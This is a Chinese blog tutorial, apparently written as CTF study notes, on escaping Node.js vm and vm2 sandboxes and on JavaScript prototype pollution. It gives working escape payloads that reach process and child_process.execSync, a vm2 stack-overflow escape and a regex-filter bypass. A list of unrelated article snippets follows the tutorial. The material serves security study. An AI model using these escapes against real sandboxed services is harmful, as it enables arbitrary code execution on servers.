js实现原型链污染,沙箱绕过

一、沙箱绕过

1.概念

沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。

当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统漏洞等。

2.例题分析

2.1vm模块例题1(利用上下文对象或this指向)

先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

示例

const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

其实逃逸出沙箱就一种方法,就是拿到沙箱外部的变量或对象,然后用.toString方法和.constructor 属性来获取Function这个属性,然后拿到process,之后就可以执行任意代码了

这道例题可以直接拿this,因为这里没有方法使用了this,此时this指向global,构造如下payload

const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()

this.toString.constructor就是Function这个方法,然后利用Function返回process对象

然后调用子模块执行命令,成功绕过沙箱

Function是不能用m、n来获取,即使m、n 是在函数外部定义的

原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。最终用nodejs执行下面的代码

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

2.2vm模块例题2(利用toString属性)

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

此时的this是指向变成null,无法获取Function属性,

arguments.callee是递归调用自身,.caller是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。所以我们可以使用此方法来获取Function。

那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

构造如下payload

(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()

这道题的巧妙之处就在于最后的console.log('Hello ' + res),此时res不是字符串,而当一个字符串与另一个非字符串结合时,会把res转为字符串,相当于res.toString,此时就调用了我们payload里面的函数,执行了命令

2.3vm2模块例题1(触发调用栈溢出异常)

这道例题是用触发外部异常的方式来绕过的,但是vm2版本必须是在3.6.10之前

这个方法有趣的地方就在于,他是想办法在沙箱外的代码中触发一个异常,并在沙箱内捕捉,这样就可以获得一个外部变量e,再利用这个变量e的constructor执行代码。

而触发异常的方法就是“爆调用栈”,JavaScript在递归超过一定次数时就会抛出异常。

但我们需要保证的是:抛出异常的这个函数是在host作用域中(即沙箱外)。在js执行到1001次时,调用栈溢出,此时就会报错

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {length: 10,utf8Write(){}
}
function r(i){var x = 0;try{x = r(i);}catch(e){}if(typeof(x)!=='number')return x;if(x!==i)return x+1;try{f.call(ft);}catch(e){return e;}return null;
}
var i=1;
while(1){try{i=r(i).constructor.constructor("return process")();break;}catch(x){i++;}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}

2.4vm2模块例题(正则绕过)

const { VM } = require('vm2');function safeEval(calc) {if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return new VM().run(calc);
}

首先if判断,如果输入的calc参数没有匹配上这个正则,那if条件就会判为真,返回null,如果匹配上了这个正则,那就会被替换为空,if条件就会判为假,最终return new VM().run(calc),所以我们需要匹配上这个正则才行

这个正则可以分三部分

第一部分是必须有Math这个关键字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
第二部分是匹配了+、-、*、/、&、|、^、%、<、>、=、,、?、:这些符号
第三部分是匹配了整数或者浮点数,比如3.14,也可以使用科学计数法,比如3.9e3
这个正则可以说过滤得比较严格,但是我们也可以绕过

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()

它创建了一个方法,形参Math,方法的内容是先将Math.constructor赋值给Math,然后调用Math.constructor方法,内容是Math.fromCharCode({gen(c)}),我们可以先不看gen(c),这个方法可以将字符的ascii码转换为字符,这样我们就可以绕过它的正则

最后传参Math+1,这也可以被正则匹配上,那为什么要传这个参数呢

因为Math+1返回的是一个字符串,而字符串的constructor属性是toString方法,而toString方法的构造函数就是Function,最后的()立即执行。

然后便可以找到vm2对应版本的payload,和正则绕过结合,便可以成功实现绕过
 

二、原型链污染

通过foo.proto修改定义它的类的原型的属性

// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型(即Object)
foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

(这样相当于给类添加了新的属性,而这个对象中也有bar这个属性,所以类的改变并不会影响到已经创建好的对象的属性,但是新创建的对象就不一样了)

1.首先我们要知道 构造函数.prototype指向的是一个对象(原型)

2.任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的

3.只有构造函数内才有ptorotype属性

4.每个对象都内含有一个属性:__proto__,也就是说就算对象里面没有对这个属性进行赋值,那么也是有这个属性的

5.原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错
 

如何产生原型链污染?

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let o1 = {}
let o2 = {"a": 1, "__proto__": {"b": 2}}
merge(o1, o2)
console.log(o1.a, o1.b)//1,2o3 = {}
console.log(o3.b)//无值

此时Object类没有被修改,故而原型类为Object的o3对象并没有b这个属性。

因为o2中的__proto__已经被解析成原型了

所以我们要使用JSON.parse

 
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')

此时执行后就可以利用原型链污染,修改Object类

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/75695.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2023 电赛E题--可能会出现的问题以及解决方法

2023年电赛E题报告模板&#xff08;K210版&#xff09;--可直接使用 本文链接&#xff1a;2023年电赛E题报告模板&#xff08;K210版&#xff09;--可直接使用_皓悦编程记的博客-CSDN博客 解决激光笔在黑色区域无法识别 本文链接&#xff1a; 2023 电赛 E 题 激光笔识别有误-…

Stable Diffusion AI绘画学习指南【插件安装设置】

插件安装的方式 可用列表方式安装&#xff0c;点开Extensions 选项卡&#xff0c;找到如下图&#xff0c;找到Available选项卡&#xff0c;点load from加载可用插件&#xff0c;在可用插件列表中找到要装的插件按install 按扭按装&#xff0c;安装完后(Apply and restart UI)应…

ER系列路由器多网段划分设置指南

ER系列路由器多网段划分设置指南 - TP-LINK 服务支持 TP-LINK ER系列路由器支持划分多网段&#xff0c;可以针对不同的LAN接口划分网段&#xff0c;即每一个或多个LAN接口对应一个网段&#xff1b;也可以通过一个LAN接口与支持划分802.1Q VLAN的交换机进行对接&#xff0c;实现…

【八】mybatis 日志模块设计

mybatis 日志模块设计 简介&#xff1a;闲来无事阅读一下mybatis的日志模块设计&#xff0c;学习一下优秀开源框架的设计思路&#xff0c;提升自己的编码能力 模块设计 在Mybatis内部定义了4个级别&#xff1a;Error:错误 、warn:警告、debug:调试、trance&#xff0c;日志优…

windows编译zookeeker动态库供C++链接使用以及遇到的错误处理方法

windows下面C链接zookeeper资料不多&#xff0c;特此记录一下 编译环境VS 2015 一. 相关安装包安装下载 1. zookeeper zookeeper3.6.4 下载zip包解压即可 2. ant apache-ant-1.9.16 将包进行解压D:project\apache-ant-1.9.16&#xff0c;然后配置环境变量 新建 ANT_HOME 系…

Portraiture 4.0.3 for windows/Mac简体中文版(ps人像磨皮滤镜插件)

Imagenomic Portraiture系列插件作为PS磨皮美白必备插件&#xff0c;可以说是最强&#xff0c;今天它更新到了4.0.3版本。但是全网都没有汉化包&#xff0c;经过几个日夜汉化&#xff0c;终于汉化完成可能是全网首个Portraiture 4的汉化包&#xff0c;请大家体验&#xff0c;有…

【Kubernetes】Kubernetes之二进制部署

kubernetes 一、Kubernetes 的安装部署1. 常见的安装部署方式1.1 Minikube1.2 Kubeadm1.3 二进制安装部署2. K8S 部署 二进制与高可用的区别2.1 二进制部署2.2 kubeadm 部署二、Kubernetes 二进制部署过程1. 服务器相关设置以及架构2. 操作系统初始化配置3. 部署 etcd 集群4. 部…

2023.8.1号论文阅读

文章目录 MCPA: Multi-scale Cross Perceptron Attention Network for 2D Medical Image Segmentation摘要本文方法实验结果 SwinMM: Masked Multi-view with SwinTransformers for 3D Medical Image Segmentation摘要本文方法实验结果 MCPA: Multi-scale Cross Perceptron Att…

Pytorch深度学习-----神经网络之卷积层用法详解

系列文章目录 PyTorch深度学习——Anaconda和PyTorch安装 Pytorch深度学习-----数据模块Dataset类 Pytorch深度学习------TensorBoard的使用 Pytorch深度学习------Torchvision中Transforms的使用&#xff08;ToTensor&#xff0c;Normalize&#xff0c;Resize &#xff0c;Co…

visual studio 生成dll文件以及修改输出dll文件名称操作

目录 visual studio 生成dll文件以及修改dll文件名称一、准备测试代码二、设置导出dll属性三、生成dll文件 .lib .dll .pdb 的简单介绍dll文件使用方式lib文件使用方式1、动态链接 &#xff08;原理&#xff09;2、静态链接&#xff1a; visual studio 生成dll文件以及修改dll文…

刷题学算法

刷题学算法 数据结构 一、数组 1. 数组创建&#xff1a; // 方式1&#xff1a;先创建&#xff0c;再逐个存储元素 String[] cityArray1 new String[5]; cityArray1[0] "北京"; cityArray1[1] "上海"; cityArray1[2] "广州"; cityArray1[3…

【无公网IP】在公网环境下Windows远程桌面Ubuntu 18.04

【无公网IP】在公网环境下Windows远程桌面Ubuntu 18.04 文章目录 *【无*公网IP】在公网环境下Windows远程桌面Ubuntu 18.04一、 同个局域网内远程桌面Ubuntu1. 更新软件仓库2. 安装支持包3. 安装XFCE4桌面环境4. 安装XRDP5. 环境设置5.1 XFCE桌面配置5.2 在配置文件中&#xff…

cmake配置Qt工程

cmake 工程配置 # 指定版本和项目 cmake_minimum_required(VERSION 3.10) set(TARGET_NAME labelDeviceView) project(${TARGET_NAME} ) include(${CMAKE_CURRENT_LIST_DIR}/../../../../../../ossLib/ossLib/env.cmake) set(CMAKE_PREFIX_PATH "D:/Qt6/6.5.2/msvc2019…

“Why Should I Trust You?” Explaining the Predictions of Any Classifier阅读笔记

“Why Should I Trust You?” Explaining the Predictions of Any Classifier阅读笔记 1. 论文贡献2. 背景 [ 1 ] ^{[1]} [1]3. LIME解释单个样本3.1 总体思想3.2 构建可解释的数据表示 [ 1 ] ^{[1]} [1]3.3 可解释性和忠实度的权衡3.4 局部采样3.5 稀疏线性解释3.6 使用SVM进…

电脑选睡眠、休眠还是关机?

关机 这是大家最熟悉的。关机时&#xff0c;系统首先关闭所有运行中的程序&#xff0c;然后关闭系统后台服务。随后&#xff0c;系统向主板请求关机&#xff0c;主板断开电源的供电使能&#xff0c;让电源切断对绝大多数设备的供电&#xff08;只剩一些内部零件仍会维持电源供应…

测试岗?从功能测试进阶自动化测试开发,测试之路不迷茫...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 测试新人在想什么…

软件测试需求分析的常用方法

软件测试需求分析时&#xff0c;应要求产品人员对需求进行讲解&#xff0c;并使用相对应的方法进行科学分析&#xff0c;否则无法保障软件测试的完整性和科学性&#xff0c;从而造成在项目中后期Bug频出、风险增大等问题。 而常用的测试需求分析的方法&#xff1a; 1、功能分解…

基于 FFlogs API 快速实现的 logs 颜色查询小爬虫

文章目录 找到接口解析响应需要平均颜色和过本次数&#xff1f; 找到接口 首先试了一下爬虫&#xff0c;发现和wow一样官网上有暴露的 API&#xff0c;链接在&#xff1a;FFlogs v1 API 文档链接 通过查询官方提供的 API 接口得知&#xff1a; user_name 角色名字 api_key …

详解 HashMap 的底层实现原理

作为一名程序员&#xff0c;你可能经常使用 HashMap 这个重要的数据结构&#xff0c;但你对它的底层实现原理可能不够了解。本文将通过图文结合的方式&#xff0c;为你详细解析 HashMap 的底层实现原理&#xff0c;并回答一些常见问题&#xff0c;让你能够更好地理解和应用 Has…

【科普知识】了解电机T型速度曲线和S型速度曲线的区别!

当电机从静止状态启动并加速到额定转速时&#xff0c;其速度变化并非线性的&#xff0c;而是呈现出不同的曲线特征。T型速度曲线和S型速度曲线是两种典型的电机加速曲线类型。那它们之间有什么区别呢&#xff1f;今天&#xff0c;就让我们来深入探讨电机加速曲线的奥秘。 电机速…